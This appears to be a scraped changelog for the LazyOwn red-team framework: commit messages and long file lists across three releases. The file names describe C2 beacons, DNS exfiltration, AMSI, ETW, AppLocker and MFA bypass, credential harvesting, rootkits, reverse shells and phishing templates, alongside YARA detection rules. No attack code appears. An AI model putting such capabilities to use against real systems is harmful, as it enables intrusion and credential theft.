lazygui/widgets/beacon_command_modal.py - lazygui/widgets/graph_view.py - modules/beacon_config_builder.py - modules/beacon_history.py - modules/bof_registry.py - modules/c2_profile_engine.py - modules/estorides_importer.py - modules/killchain.py - modules/sleep_obfuscation.py - modules/socks_proxy.py - tests/run_mutation_killchain.py - tests/test_beacon_config_builder.py - tests/test_beacon_history.py - tests/test_bof_registry.py - tests/test_c2_profile_engine.py - tests/test_categories.py - tests/test_conditional_hooks_extended.py - tests/test_killchain_auto_refresh.py - tests/test_killchain_gap_signal.py - tests/test_killchain_snapshot.py - tests/test_killchain_unified.py - tests/test_killchain_unified_v2.py - tests/test_lazygui_backend.py - tests/test_lazygui_graph_widget.py - tests/test_lazygui_models.py - tests/test_sleep_obfuscation.py - tests/test_socks_proxy.py - tests/test_world_model_extended.py\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: lun 03 ago 2026 00:02:10 -04 \n\n Hora: 1785729730

Otros

Otros

• • privesc command :D

Otros

Otros

• • phase of killchain with one source of truth

Otros

Otros

• • phase of killchain with one source of truth

Otros

Otros

• • 1. src/page_view.c — the whitespace between and (a text node whose parent is //) was emitted as a stray

       Otros

       Otros

       • • phase of killchain with one source of truth

       Otros

       Otros

       • • a awesome gui2 cobalt strike like with themes :D

       Otros

       Otros

       • • a awesome gui2 cobalt strike like with themes :D

       Otros

       Otros

       • • some refactoring and love

       Otros

       Otros

       • • some in blacksandbeacon

       Otros

       Otros

       • • some improvementent in security

       Otros

       Otros

       • • some improvementent in security

       Otros

       Otros

       • • stub linux hotfix download chain was broken, now works perfectly

       Otros

       Otros

       • • zsh style search commands with up arrow :D wnjoy

       Otros

       Otros

       • • estorides intel into lazyown redteam framework

       Otros

       Otros

       • • Update README.md

       Otros

       Otros

       • • docs: restore auto-generated sections (UTILS, COMMANDS, CHANGELOG) to README.md

       Otros

       Otros

       • • some implat mantain and refactor

       Otros

       Otros

       • • feature(feat): some love, marketplace config, security issues, and bugfixing, refactoring \n\n Version: release/0.2.159 \n\n with love \n\n Modified file(s):\n- .github/workflows/ci.yml - .github/workflows/security-scan.yml - AGENTS.md - CHANGELOG.md - CHEATSHEET.md - CLAUDE.md - COMMANDS.md - COMPARISON.md - ESSENTIALS.md - QUICKSTART.md - README.md - cli/aliases.yaml - cli/command_index.json - cli/commands/cli_auth.py - cli/commands/dns_exfil.py - cli/commands/postexp_migrated.py - cli/commands/report_enhanced.py - cli/wizard.py - core/init.py - core/command_bridge.py - core/config.py - core/errors.py - core/executor.py - core/scheduler.py - docs/COMMANDS.html - external/README.md - lazy_sentinel4.py - lazyaddons/README.md - lazyc2.py - lazygui/app.py - lazyown.py - modules/49803.py - modules/agent_runner.py - modules/ai_fallback.py - modules/c2_profile.py - modules/cli_auth.py - modules/cve_matcher.py - modules/db.py - modules/event_bus.py - modules/generate_tools.py - modules/gui.py - modules/ia_code_analysis.py - modules/ia_logs_analysis.py - modules/ia_network_analysis.py - modules/icmp_server.py - modules/integrations/misp_export.py - modules/integrations/nuclei_bridge.py - modules/integrations/searchsploit.py - modules/lazyk8s.py - modules/lazyown_metaextract0r.py - modules/lazyownerweb.py - modules/lilsplunky.py - modules/logging_config.py - modules/module_registry.py - modules/moe_router.py - modules/obs_parser.py - modules/playbook_engine.py - modules/report_generator.py - modules/rl_trainer.py - modules/search.py - modules/vuln_agent.py - modules/vulnbot.py - modules/world_model.py - payloads/README.md - readmeneitor.py - report.py - skills/aci_planner.py - skills/autonomous_daemon.py - skills/hive_mind.py - skills/lazyown_campaign.py - skills/lazyown_daemon.py - skills/lazyown_facts.py - skills/lazyown_llm.py - skills/lazyown_parquet_db.py - skills/lazyown_policy.py - skills/mcp_generated_tools.py - skills/mcp_tool_generator.py - skills/sessions_watcher.py - skills/swan_agent.py - skills/toposwarm_autonomous.py - skills/update_knowledge.py - specs.md - static/security_dashboard.png - templates/phishing/emails/README.md - templates/phishing/landing_pages/README.md - tests/test_core_command_bridge.py - tests/test_core_config.py - tests/test_core_executor.py - tools/README.md - users.json\nCreated file(s):\n- .github/workflows/security-scan.yml - core/command_bridge.py - core/errors.py - core/executor.py - core/scheduler.py - external/README.md - payloads/README.md - skills/mcp_generated_tools.py - skills/mcp_tool_generator.py - templates/phishing/emails/README.md - templates/phishing/landing_pages/README.md - tests/test_core_command_bridge.py - tests/test_core_config.py - tests/test_core_executor.py\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: sáb 01 ago 2026 03:20:32 -04 \n\n Hora: 1785568832

       Otros

       Otros

       • • Docs(documentation) k8 enum and some bug fixing in ci/cd and dns exfil

       Otros

       Otros

       • • Docs(documentation) reports

       Otros

       Otros

       • • Seguridad (3 fixes criticos) - pickle.load reemplazado por joblib + verificacion SHA256 en lazyown_parquet_db.py - 6 except: bare eliminados - core/executor.py -- wrapper centralizado para subprocess (reemplaza os.system()) - .github/workflows/security-scan.yml -- escaneo semanal con bandit + pip-audit + detect-secrets Arquitectura (4 mejoras mayores) - core/command_bridge.py -- facade ligero CLI/C2, lazy-loading, thread-safe - skills/mcp_tool_generator.py -- auto-genera 643 MCP tools desde command_index.json (24% -> ~95% cobertura) - modules/db.py -- threading.local(), credenciales encriptadas via AES, batch insert para nmap - core/scheduler.py + modules/event_bus.py backpressure (Queue max 500) Calidad (3 mejoras) - readmeneitor.py reescrito -- escanea cli/commands/, 670 comandos, 14 fases, COMMANDS.md de 4085 lineas - 600+ strings espanol traducidas a ingles en lazyc2.py, report.py, modules/gui.py, etc. - 25 plugins Lua duplicados eliminados, mecanismo de deprecacion en ModuleRegistry Operaciones (3 mejoras) - core/config.py -- env-var overlay (LAZYOWN_RHOST=...), audit trail JSONL, secretos encriptados en disco - modules/logging_config.py -- JsonFormatter, CorrelationFilter, 23 basicConfig() migrados - core/errors.py -- taxonomia con 9 tipos de error + ErrorCode enum (16 codigos)

       Otros

       Otros

       • • Docs(documentation) wizard updated

       Otros

       Otros

       • • Docs(documentation) a brand new doc :D

       Otros

       Otros

       • • feature(feat): new marketplace, auto_pwn, suggesters, yara rules, hunt, etc etc etc a lot of love \n\n Version: release/0.2.158 \n\n nuclei incorporado al marketplace \n\n Modified file(s):\n- .github/workflows/audit.yml - .github/workflows/ci.yml - .github/workflows/docker-smoke.yml - .github/workflows/lint.yml - .pre-commit-config.yaml - AGENTS.md - CHANGELOG.md - CHEATSHEET.md - CLAUDE.md - COMPARISON.md - ESSENTIALS.md - QUICKSTART.md - README.md - banners/lazyowneye.png - cli/aliases.py - cli/aliases.yaml - cli/auto_crypto.py - cli/banner_config.py - cli/command_index.json - cli/commands/README.md - cli/commands/init.py - cli/commands/ai.py - cli/commands/applocker_bypass.py - cli/commands/automation.py - cli/commands/bitm.py - cli/commands/campaign.py - cli/commands/cicd.py - cli/commands/cli_auth.py - cli/commands/collaboration.py - cli/commands/containers.py - cli/commands/crystal_ball.py - cli/commands/dns_exfil.py - cli/commands/dpapi.py - cli/commands/edr_detect.py - cli/commands/exploit.py - cli/commands/exploit_migrated.py - cli/commands/lab.py - cli/commands/marketplace.py - cli/commands/mcp_bridge.py - cli/commands/misc_migrated.py - cli/commands/persist.py - cli/commands/redteam_gym.py - cli/commands/report_enhanced.py - cli/commands/resource_scripting.py - cli/commands/security.py - cli/doctor.py - cli/engagement_hooks.py - cli/marketplace_config.py - cli/protips.py - cli/reactive_hints.py - cli/recommendation_signals.py - cli/scope_guard.py - cli/tips_engine.py - cli/wizard.py - core/credential_vault.py - core/payload_schema.py - core/prompt.py - core/security.py - core/validators.py - discord_c2.py - docs/examples/README.md - docs/examples/htb-lame-walkthrough.md - install.sh - lazyaddons/QuantumVault.yaml - lazyaddons/applocker_bypass_csc.yaml - lazyaddons/applocker_bypass_installutil.yaml - lazyaddons/applocker_bypass_msbuild.yaml - lazyaddons/applocker_bypass_mshta.yaml - lazyaddons/applocker_bypass_presentationhost.yaml - lazyaddons/applocker_bypass_regsvcs.yaml - lazyaddons/applocker_bypass_rundll32.yaml - lazyaddons/cicd_build_secrets.yaml - lazyaddons/cicd_gitlab_enum.yaml - lazyaddons/cicd_jenkins_enum.yaml - lazyaddons/dns_beacon.yaml - lazyaddons/dns_exfil_server.yaml - lazyaddons/dpapi_harvester.yaml - lazyaddons/edr_detector.yaml - lazyaddons/mfa_bypass_toolkit.yaml - lazyc2.py - lazyc2/blueprints/init.py - lazyc2/blueprints/beacon.py - lazyc2/extensions/storage.py - lazyenc.py - lazygui/config/constants.py - lazygui/panels/credentials_panel.py - lazygui/panels/killchain_panel.py - lazygui/panels/registry.py - lazygui/services/backend.py - lazygui/windows/main_window.py - lazyown-docker/README.md - lazyown.egg-info/PKG-INFO - lazyown.egg-info/SOURCES.txt - lazyown.egg-info/dependency_links.txt - lazyown.egg-info/entry_points.txt - lazyown.egg-info/requires.txt - lazyown.egg-info/top_level.txt - lazyown.py - modules/bitm_engine.py - modules/categories.py - modules/cicd_enumerator.py - modules/cli_auth.py - modules/command_executor.py - modules/conditional_hooks.py - modules/credential_reuse.py - modules/dashboard_bp.py - modules/dns_beacon.py - modules/dpapi_harvester.py - modules/edr_detector.py - modules/event_bus.py - modules/event_consumers.py - modules/gui.py - modules/hash_cracker.py - modules/integrations/nuclei_parser.py - modules/kill_chain_viz.py - modules/lazyagentAi.py - modules/lazycam3.py - modules/lazydeepseekcli_local.py - modules/lazydeepseekcli_localreport.py - modules/lazygptcli2.py - modules/lazygptcli3.py - modules/lazygptcli4.py - modules/lazygptcli5.py - modules/lazygpttask.py - modules/lazygptvulns.py - modules/lazyhttpsniff.py - modules/lazyk8s.py - modules/lazyredopgpt.py - modules/legacy/init.py - modules/legacy/lazy_http_bof.py - modules/legacy/lazy_packet_image_sniffer.py - modules/legacy/lazyaddon_creator.py - modules/legacy/lazyarpspoofing.py - modules/legacy/lazybinenc.py - modules/legacy/lazybotcli.py - modules/legacy/lazybotnet.py - modules/legacy/lazycam.py - modules/legacy/lazycreate_webshell.py - modules/legacy/lazydeepseekcli.py - modules/legacy/lazydisassebler.py - modules/legacy/lazyftpsniff.py - modules/legacy/lazygalazy.py - modules/legacy/lazygptcli.py - modules/legacy/lazygptcli_unified.py - modules/legacy/lazyhoneypot.py - modules/legacy/lazyhttpreverseshell.py - modules/legacy/lazykeygen.py - modules/legacy/lazylfi2rce.py - modules/legacy/lazyllmchat.py - modules/legacy/lazylogpoisoning.py - modules/legacy/lazymariadb_rce_cve_2016-662.py - modules/legacy/lazymidm.py - modules/legacy/lazymitmap.py - modules/legacy/lazynetbios.py - modules/legacy/lazyntlrelayx.py - modules/legacy/lazyopenssh77enum2.py - modules/legacy/lazyphishingai.py - modules/legacy/lazyproxy.py - modules/legacy/lazypwn.py - modules/legacy/lazypwnkit.py - modules/legacy/lazypyautogui.py - modules/legacy/lazyreversentlmv2.py - modules/legacy/lazysearch.py - modules/legacy/lazysearch_bot.py - modules/legacy/lazyseo.py - modules/legacy/lazysmbrelay.py - modules/legacy/lazysniff.py - modules/legacy/lazysqli.py - modules/legacy/lazyssh.py - modules/legacy/lazyvsftp.py - modules/legacy/lazywerkzeug.py - modules/llm_adapter.py - modules/logging_config.py - modules/mfa_bypass.py - modules/modules/README.md - modules/modules/colors.py - modules/operator_profiles.py - modules/opsec_scorer.py - modules/playbook_executor.py - modules/privesc_predictor.py - modules/reactive_engine.py - modules/redteam_gym.py - modules/report_templates.py - modules/resource_script.py - modules/session_rag.py - modules/session_state.py - modules/sessions/llm_budget.json - modules/state_manager.py - modules/toposwarm_bridge.py - modules/unified_bridge.py - modules/unified_llm_client.py - playbooks/apt_azure_graph_api.yaml - playbooks/apt_cicd_poisoning.yaml - playbooks/apt_entra_connect.yaml - playbooks/apt_macos_tcc.yaml - playbooks/apt_oauth_token_theft.yaml - playbooks/apt_sccm_mecm.yaml - playbooks/apt_vdi_breakout.yaml - pyproject.toml - requirements-dev.txt - requirements.txt - scripts/build_command_index.py - scripts/migrate_commandsets.py - scripts/migrate_lazyown.py - scripts/sync_doc_stats.py - skills/autonomous_daemon.py - skills/daemon_health.py - skills/lazyown.md - skills/lazyown_mcp.py - skills/lazyown_parquet_db.py - slack_c2_bot.py - specs.md - telegram_c2.py - templates/base.html - templates/index.html - tests/run_mutation_tests.py - tests/test_auto_crypto.py - tests/test_cli_command_sets.py - tests/test_credential_vault.py - tests/test_dashboard_routes.py - tests/test_hash_cracker.py - tests/test_nuclei_parser.py - tests/test_opsec_scorer.py - tests/test_reactive_hints_expanded.py - tests/test_report_banners_endpoints.py - tests/test_resource_script.py - tests/test_scope_guard.py - tests/test_tips_engine.py - users.json - utils.py - yara_rules/c2_framework_detection.yar - yara_rules/obfuscation_detection.yar - yara_rules/privesc_detection.yar - yara_rules/ransomware_detection.yar - yara_rules/webshell_advanced.yar\nDeleted file(s):\n- modules/lazyagentAi.py - modules/lazycam3.py - modules/lazydeepseekcli_local.py - modules/lazydeepseekcli_localreport.py - modules/lazygptcli2.py - modules/lazygptcli3.py - modules/lazygptcli4.py - modules/lazygptcli5.py - modules/lazygpttask.py - modules/lazygptvulns.py - modules/lazyhttpsniff.py - modules/lazyredopgpt.py - modules/modules/README.md - modules/modules/colors.py\nCreated file(s):\n- .github/workflows/audit.yml - .github/workflows/docker-smoke.yml - banners/lazyowneye.png - cli/auto_crypto.py - cli/commands/applocker_bypass.py - cli/commands/automation.py - cli/commands/bitm.py - cli/commands/campaign.py - cli/commands/cicd.py - cli/commands/cli_auth.py - cli/commands/collaboration.py - cli/commands/crystal_ball.py - cli/commands/dns_exfil.py - cli/commands/dpapi.py - cli/commands/edr_detect.py - cli/commands/lab.py - cli/commands/marketplace.py - cli/commands/mcp_bridge.py - cli/commands/redteam_gym.py - cli/commands/report_enhanced.py - cli/commands/security.py - cli/marketplace_config.py - cli/tips_engine.py - core/credential_vault.py - core/prompt.py - core/security.py - docs/examples/README.md - docs/examples/htb-lame-walkthrough.md - lazyaddons/QuantumVault.yaml - lazyaddons/applocker_bypass_csc.yaml - lazyaddons/applocker_bypass_installutil.yaml - lazyaddons/applocker_bypass_msbuild.yaml - lazyaddons/applocker_bypass_mshta.yaml - lazyaddons/applocker_bypass_presentationhost.yaml - lazyaddons/applocker_bypass_regsvcs.yaml - lazyaddons/applocker_bypass_rundll32.yaml - lazyaddons/cicd_build_secrets.yaml - lazyaddons/cicd_gitlab_enum.yaml - lazyaddons/cicd_jenkins_enum.yaml - lazyaddons/dns_beacon.yaml - lazyaddons/dns_exfil_server.yaml - lazyaddons/dpapi_harvester.yaml - lazyaddons/edr_detector.yaml - lazyaddons/mfa_bypass_toolkit.yaml - lazyc2/blueprints/beacon.py - lazygui/panels/credentials_panel.py - lazygui/panels/killchain_panel.py - lazyown.egg-info/PKG-INFO - lazyown.egg-info/SOURCES.txt - lazyown.egg-info/dependency_links.txt - lazyown.egg-info/entry_points.txt - lazyown.egg-info/requires.txt - lazyown.egg-info/top_level.txt - modules/bitm_engine.py - modules/cicd_enumerator.py - modules/cli_auth.py - modules/command_executor.py - modules/conditional_hooks.py - modules/credential_reuse.py - modules/dns_beacon.py - modules/dpapi_harvester.py - modules/edr_detector.py - modules/event_bus.py - modules/event_consumers.py - modules/hash_cracker.py - modules/integrations/nuclei_parser.py - modules/kill_chain_viz.py - modules/legacy/init.py - modules/legacy/lazydeepseekcli.py - modules/legacy/lazygptcli_unified.py - modules/llm_adapter.py - modules/mfa_bypass.py - modules/operator_profiles.py - modules/opsec_scorer.py - modules/playbook_executor.py - modules/privesc_predictor.py - modules/redteam_gym.py - modules/report_templates.py - modules/state_manager.py - modules/unified_bridge.py - playbooks/apt_azure_graph_api.yaml - playbooks/apt_cicd_poisoning.yaml - playbooks/apt_entra_connect.yaml - playbooks/apt_macos_tcc.yaml - playbooks/apt_oauth_token_theft.yaml - playbooks/apt_sccm_mecm.yaml - playbooks/apt_vdi_breakout.yaml - scripts/migrate_commandsets.py - scripts/sync_doc_stats.py - skills/daemon_health.py - tests/run_mutation_tests.py - tests/test_auto_crypto.py - tests/test_credential_vault.py - tests/test_dashboard_routes.py - tests/test_hash_cracker.py - tests/test_nuclei_parser.py - tests/test_opsec_scorer.py - tests/test_reactive_hints_expanded.py - tests/test_report_banners_endpoints.py - tests/test_resource_script.py - tests/test_tips_engine.py - yara_rules/c2_framework_detection.yar - yara_rules/obfuscation_detection.yar - yara_rules/privesc_detection.yar - yara_rules/ransomware_detection.yar - yara_rules/webshell_advanced.yar\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: vie 31 jul 2026 23:23:53 -04 \n\n Hora: 1785554633

       Otros

       Otros

       • • LazyOwn RedTeam released QuantumVault as free software so that journalists, activists, and ordinary people can communicate with hybrid post-quantum end-to-end encryption, free from surveillance, censorship, or any single point of control over their right to private communication and free expression.

       Otros

       Otros

       • • marketplace config ahora muestra: YAML Addons (123) Plugins (56) Tools (69) YARA Rules (10) Nuclei (500) 5 tabs en el TUI curses, sin comandos sueltos YARA: 10 reglas (ransomware, C2, webshells, ofuscacion, privesc) Nuclei: 500 templates del directorio real ~/nuclei-templates

       Otros

       Otros

       • • lazyreports and kill-chains :D

       Otros

       Otros

       • • watchdog

       Otros

       Otros

       • • marketplace

       Otros

       Otros

       • • blueprint in lazyc2

       Otros

       Otros

       • • login to cli

       Otros

       Otros

       • • karma, elo, gamified labs, so much love

       Otros

       Otros

       • • evento log

       Otros

       Otros

       • • applocker

       Otros

       Otros

       • • deleted dead code

       Otros

       Otros

       • • campaign and colab :D

       Otros

       Otros

       • • marketplace commands and labs commands

       Otros

       Otros

       • • banners and reports endpoints fixed

       Otros

       Otros

       • • install.sh siembra payload.json, documentation, mcp and love in install script

       Nuevas características

       Otros

       • • feat(feat): unified dashboard \n\n Version: release/0.2.157 \n\n with love \n\n Modified file(s):\n- .c2_credentials.txt - .github/dependabot.yml - .github/workflows/attack_surface_scan.yml - .github/workflows/ci.yml - .github/workflows/lint.yml - .github/workflows/test.yml - .gitignore - .pre-commit-config.yaml - .secrets.baseline - AGENTS.md - CHANGELOG.md - CLAUDE.md - CONTRIBUTING.md - KNOWLEDGE_BASE.md - README.md - TUTORIAL_LazyOwn.md - adversary.json - banners/Lazy.png - banners/Lazy1.png - banners/Lazy2.png - cli/aliases.yaml - cli/assign.py - cli/autosuggest.py - cli/banner_config.py - cli/cli_enhancements.py - cli/command_chain.py - cli/command_form.py - cli/command_index.json - cli/commands/init.py - cli/commands/_base.py - cli/commands/ai.py - cli/commands/anti_forensics.py - cli/commands/caldera.py - cli/commands/cloud.py - cli/commands/command_and_control.py - cli/commands/command_and_control_migrated.py - cli/commands/containers.py - cli/commands/cred.py - cli/commands/cred_migrated.py - cli/commands/database.py - cli/commands/enum.py - cli/commands/evasive_payload.py - cli/commands/exfiltration.py - cli/commands/exploit.py - cli/commands/exploit_migrated.py - cli/commands/lateral.py - cli/commands/lateral_migrated.py - cli/commands/misc_migrated.py - cli/commands/mobile_macos.py - cli/commands/module_manager.py - cli/commands/payload_generation.py - cli/commands/persist.py - cli/commands/persist_migrated.py - cli/commands/phishing_wizard.py - cli/commands/pivoting.py - cli/commands/postexp.py - cli/commands/postexp_migrated.py - cli/commands/privilege_escalation.py - cli/commands/pwn.py - cli/commands/recon.py - cli/commands/recon_migrated.py - cli/commands/report.py - cli/commands/report_migrated.py - cli/commands/reporting.py - cli/commands/resource_scripting.py - cli/commands/scan_migrated.py - cli/commands/supply_chain.py - cli/dashboard_tui.py - cli/doctor.py - cli/engagement_hooks.py - cli/exploit_advisor.py - cli/exploration.py - cli/exploration_view.py - cli/fuzzy_picker.py - cli/graph_advisor.py - cli/graph_overlay.py - cli/headless.py - cli/lazynmap_post.py - cli/ops_commands.py - cli/palette_command.py - cli/palette_graph.py - cli/palette_overlay.py - cli/palette_telemetry.py - cli/protips.py - cli/recommendation.py - cli/recommendation_signals.py - cli/recon_plan.py - cli/registry.py - cli/scope_guard.py - cli/sessions_browser.py - cli/show.py - cli/splash.py - cli/status_bar.py - cli/style.py - cli/surface_graph.py - cli/themes.py - cli/timeline_browser.py - cli/toast_bus.py - cli/tui_theme.py - cli/wizard.py - core/init.py - core/config.py - core/credentials.py - core/crypto.py - core/http.py - core/llm_budget.py - core/network.py - core/parsers.py - core/payload_schema.py - core/process.py - core/safe_subprocess.py - deploy/README.md - deploy/k8s/lazyown-c2.yaml - discord_c2.py - docs/api_docs.html - external/install_external.sh - fast_run_as_r00t.sh - graphify-out/GRAPH_REPORT.md - graphify-out/GRAPH_REPORT_LAZYOWN.md - graphify-out/README.md - graphify-out/cost.json - graphify-out/graph.html - graphify-out/graph.json - graphify-out/graph_lazyown.json - graphify-out/manifest.json - lazy_sentinel4.py - lazyaddons/BlackObsidianC2.yaml - lazyaddons/CVE-2026-25089.yaml - lazyaddons/adcs_attacks.yaml - lazyaddons/cloud_bucket_enum.yaml - lazyaddons/cloud_enum.yaml - lazyaddons/cloud_metadata.yaml - lazyaddons/container_escape.yaml - lazyaddons/docker_enum.yaml - lazyaddons/fakesystemD.yaml - lazyaddons/gitleaks.yaml - lazyaddons/k8s_enum.yaml - lazyaddons/phantom2.yaml - lazyaddons/shadow.yaml - lazyaddons/websocket_beacon.yaml - lazyaddons/yara_scanner.yaml - lazyadversaries/lazynim.yaml - lazyadversaries/malleable_beacon.yaml - lazyadversaries/rust_implant.yaml - lazyc2.py - lazyc2/app_factory.py - lazyc2/blueprints/init.py - lazyc2/blueprints/api.py - lazyc2/blueprints/auth.py - lazyc2/blueprints/operations.py - lazyc2/blueprints/phishing.py - lazyc2/extensions/init.py - lazyc2/extensions/decoy.py - lazyc2/extensions/short_urls.py - lazyc2/extensions/storage.py - lazyc2/extensions/users.py - lazyc2/models.py - lazyc2/security/command_allowlist.py - lazyc2/security/cors.py - lazyc2/security/csrf.py - lazyc2/security/html_sanitizer.py - lazyc2/security/trusted_proxy.py - lazyc2/state.py - lazygui/app.py - lazygui/config/constants.py - lazygui/config/settings.py - lazygui/panels/listeners_panel.py - lazygui/panels/registry.py - lazygui/panels/sessions_panel.py - lazygui/services/backend.py - lazygui/services/event_log.py - lazygui/services/local_backend.py - lazygui/services/models.py - lazygui/services/teamserver_backend.py - lazygui/theme/manager.py - lazygui/theme/palettes/init.py - lazygui/widgets/command_palette_list.py - lazygui/windows/command_palette_window.py - lazygui/windows/main_window.py - lazyown.py - modules/49803.py - modules/CVE-2023-28432.py - modules/LazyOwnExplorer.py - modules/init.py - modules/adcs_attacks.py - modules/agent_runner.py - modules/agent_tool.py - modules/ai_exploit_chain.py - modules/ai_fallback.py - modules/ai_model.py - modules/amt_auth_bypass.py - modules/apt_playbooks.py - modules/atomic_enricher.py - modules/auto_pivot.py - modules/autonomous_exploit_engine.py - modules/bin2img.py - modules/bot.py - modules/c2_builder.py - modules/c2_messaging_base.py - modules/c2_profile.py - modules/categories.py - modules/cgi-bin/lazywebshell.py - modules/cloud_enum.py - modules/collab_bp.py - modules/colors.py - modules/compliance.py - modules/config_store.py - modules/cve_matcher.py - modules/dashboard_bp.py - modules/dashboard_engine.py - modules/db.py - modules/detailed_search.py - modules/detection_feed.py - modules/detection_oracle.py - modules/domain_dominance.py - modules/engagement_hooks.py - modules/evasion_engine.py - modules/evasive_payloads.py - modules/event_engine.py - modules/evilhttprev.sh - modules/exploit_chain.py - modules/exploit_recommender.py - modules/generate_tools.py - modules/gui.py - modules/ia_code_analysis.py - modules/ia_logs_analysis.py - modules/ia_network_analysis.py - modules/icmp_client.py - modules/icmp_server.py - modules/img2bin.py - modules/integrations/init.py - modules/integrations/misp_export.py - modules/integrations/nuclei_bridge.py - modules/integrations/searchsploit.py - modules/jwtexploit.py - modules/kivi.py - modules/lazy_rbac.py - modules/lazyaddon_creator.py - modules/lazyagentAi.py - modules/lazyarpspoofing.py - modules/lazybinenc.py - modules/lazybotcli.py - modules/lazybotnet.py - modules/lazycam.py - modules/lazycam2.py - modules/lazycam3.py - modules/lazycam4.py - modules/lazycloud.py - modules/lazycreate_webshell.py - modules/lazydeepseekcli_local.py - modules/lazydeepseekcli_localreport.py - modules/lazydisassebler.py - modules/lazyencoder_decoder.py - modules/lazyftpsniff.py - modules/lazygalazy.py - modules/lazygptcli.py - modules/lazygptcli2.py - modules/lazygptcli3.py - modules/lazygptcli4.py - modules/lazygptcli5.py - modules/lazygpttask.py - modules/lazygptvulns.py - modules/lazyhoneypot.py - modules/lazyhttpreverseshell.py - modules/lazyhttpsniff.py - modules/lazyk8s.py - modules/lazykeygen.py - modules/lazylfi2rce.py - modules/lazyllmchat.py - modules/lazylogpoisoning.py - modules/lazymariadb_rce_cve_2016-662.py - modules/lazymidm.py - modules/lazymitmap.py - modules/lazynetbios.py - modules/lazyntlrelayx.py - modules/lazyopenssh77enum2.py - modules/lazyown.py - modules/lazyown_bprfuzzer.py - modules/lazyown_bridge.py - modules/lazyown_metaextract0r.py - modules/lazyownclient.py - modules/lazyownerweb.py - modules/lazyownserver.py - modules/lazyphishingai.py - modules/lazyproxy.py - modules/lazypwn.py - modules/lazypwnkit.py - modules/lazypyautogui.py - modules/lazyredopgpt.py - modules/lazyreversentlmv2.py - modules/lazysearch.py - modules/lazysearch_bot.py - modules/lazyseo.py - modules/lazysmbrelay.py - modules/lazysniff.py - modules/lazysqli.py - modules/lazyssh.py - modules/lazyvsftp.py - modules/lazywerkzeug.py - modules/lesson_ingestor.py - modules/lilsplunky.py - modules/listener_manager.py - modules/llm_client.py - modules/llm_evaluator.py - modules/llm_factory.py - modules/logging_config.py - modules/mario.py - modules/mcp_agent_bridge.py - modules/memory_store.py - modules/metrics.py - modules/module_registry.py - modules/modules/colors.py - modules/moe_router.py - modules/morse.py - modules/nmap2csv.py - modules/obs_parser.py - modules/ooficesod0woodo.py - modules/operation.py - modules/payload_factory.py - modules/phishing_orchestrator.py - modules/pipeline_engine.py - modules/planner.py - modules/playbook_engine.py - modules/professional_report.py - modules/reactive_engine.py - modules/recommender.py - modules/report_generator.py - modules/resource_script.py - modules/rich_tui.py - modules/rl_trainer.py - modules/rootkit/mr.c - modules/rootkit/rootkit.c - modules/rootkit/rootkit.c.bkp.c - modules/search.py - modules/security_sanitizers.py - modules/session_rag.py - modules/session_reader.py - modules/sessions/llm_budget.json - modules/sql.py - modules/tel.py - modules/threat_model.py - modules/timeline_narrator.py - modules/tool_extractor.py - modules/toposwarm_bridge.py - modules/traffic_morpher.py - modules/ttp_coverage.py - modules/unified_dashboard.py - modules/unified_llm_client.py - modules/venator.py - modules/vuln_agent.py - modules/vuln_bot_cli.py - modules/vulnbot.py - modules/websocket_beacon.py - modules/win_rootkit/backup.c - modules/win_rootkit/win_ring3_rootkit.c - modules/world_model.py - modules/yaml_generator.py - modules/yara_scanner.py - payload.example.json - payloads/default_engagement.json - plugins/README.md - plugins/amsi_bypass.yaml - plugins/dotnet_reflection.yaml - plugins/etw_bypass.yaml - plugins/powershell_obfuscation.yaml - profiles/README.md - pyproject.toml - report.py - requirements-ml.txt - requirements.txt - scripts/activate_migrations.py - scripts/build_command_index.py - scripts/fix_migrated_classes.py - scripts/migrate_lazyown.py - sessions/README.md - skills/aci_planner.py - skills/autonomous_daemon.py - skills/autonomous_replay.py - skills/claude_md_orchestrator/bdd_agent.py - skills/claude_md_orchestrator/boy_scout.py - skills/claude_md_orchestrator/cicd_agent.py - skills/claude_md_orchestrator/config.py - skills/claude_md_orchestrator/documentation_agent.py - skills/claude_md_orchestrator/models.py - skills/claude_md_orchestrator/orchestrator.py - skills/claude_md_orchestrator/parser.py - skills/claude_md_orchestrator/reviewer_agent.py - skills/claude_md_orchestrator/sdd_agent.py - skills/claude_md_orchestrator/tdd_agent.py - skills/claude_md_orchestrator/tests/test_orchestrator.py - skills/claude_md_orchestrator/validators.py - skills/daemon_control.py - skills/heartbeat.py - skills/hermes-lazyown/claudemd_rules.py - skills/hermes-lazyown/executor.py - skills/hermes-lazyown/hermes_sync.py - skills/hermes-lazyown/mcp_server.py - skills/hermes-lazyown/output_compactor.py - skills/hive_mind.py - skills/lazyown_automapper.py - skills/lazyown_campaign.py - skills/lazyown_claudemd.py - skills/lazyown_context.py - skills/lazyown_daemon.py - skills/lazyown_facts.py - skills/lazyown_groq_agents.py - skills/lazyown_hooks.py - skills/lazyown_llm.py - skills/lazyown_mcp.py - skills/lazyown_mcp_helpers.py - skills/lazyown_objective.py - skills/lazyown_parquet_db.py - skills/lazyown_permissions.py - skills/lazyown_policy.py - skills/lazyown_session.py - skills/sessions_watcher.py - skills/swan_agent.py - skills/tests/test_autonomous_daemon.py - skills/tests/test_facts.py - skills/tests/test_harness_e2e.py - skills/tests/test_hive_mind.py - skills/tests/test_mcp_smoke.py - skills/tests/test_objectives.py - skills/tests/test_parquet_db.py - skills/toposwarm_autonomous.py - skills/unified_orchestrator.py - skills/update_knowledge.py - slack_c2_bot.py - specs.md - telegram_c2.py - telegram_hermes.py - tests/test_ci_strict.py - tests/test_cli_assign.py - tests/test_cli_command_sets.py - tests/test_collab_and_onboarding.py - tests/test_command_allowlist.py - tests/test_command_palette.py - tests/test_command_set_migration.py - tests/test_credentials_rotation.py - tests/test_csrf_policy.py - tests/test_db.py - tests/test_detection_feed.py - tests/test_engage_orchestrator.py - tests/test_engagement_command_gate.py - tests/test_fuzzy_picker.py - tests/test_html_sanitizer.py - tests/test_https_redirect.py - tests/test_improvements_spec.py - tests/test_lesson_ingestor.py - tests/test_llm_budget.py - tests/test_metrics.py - tests/test_migrate_lazyown_generator.py - tests/test_module_registry.py - 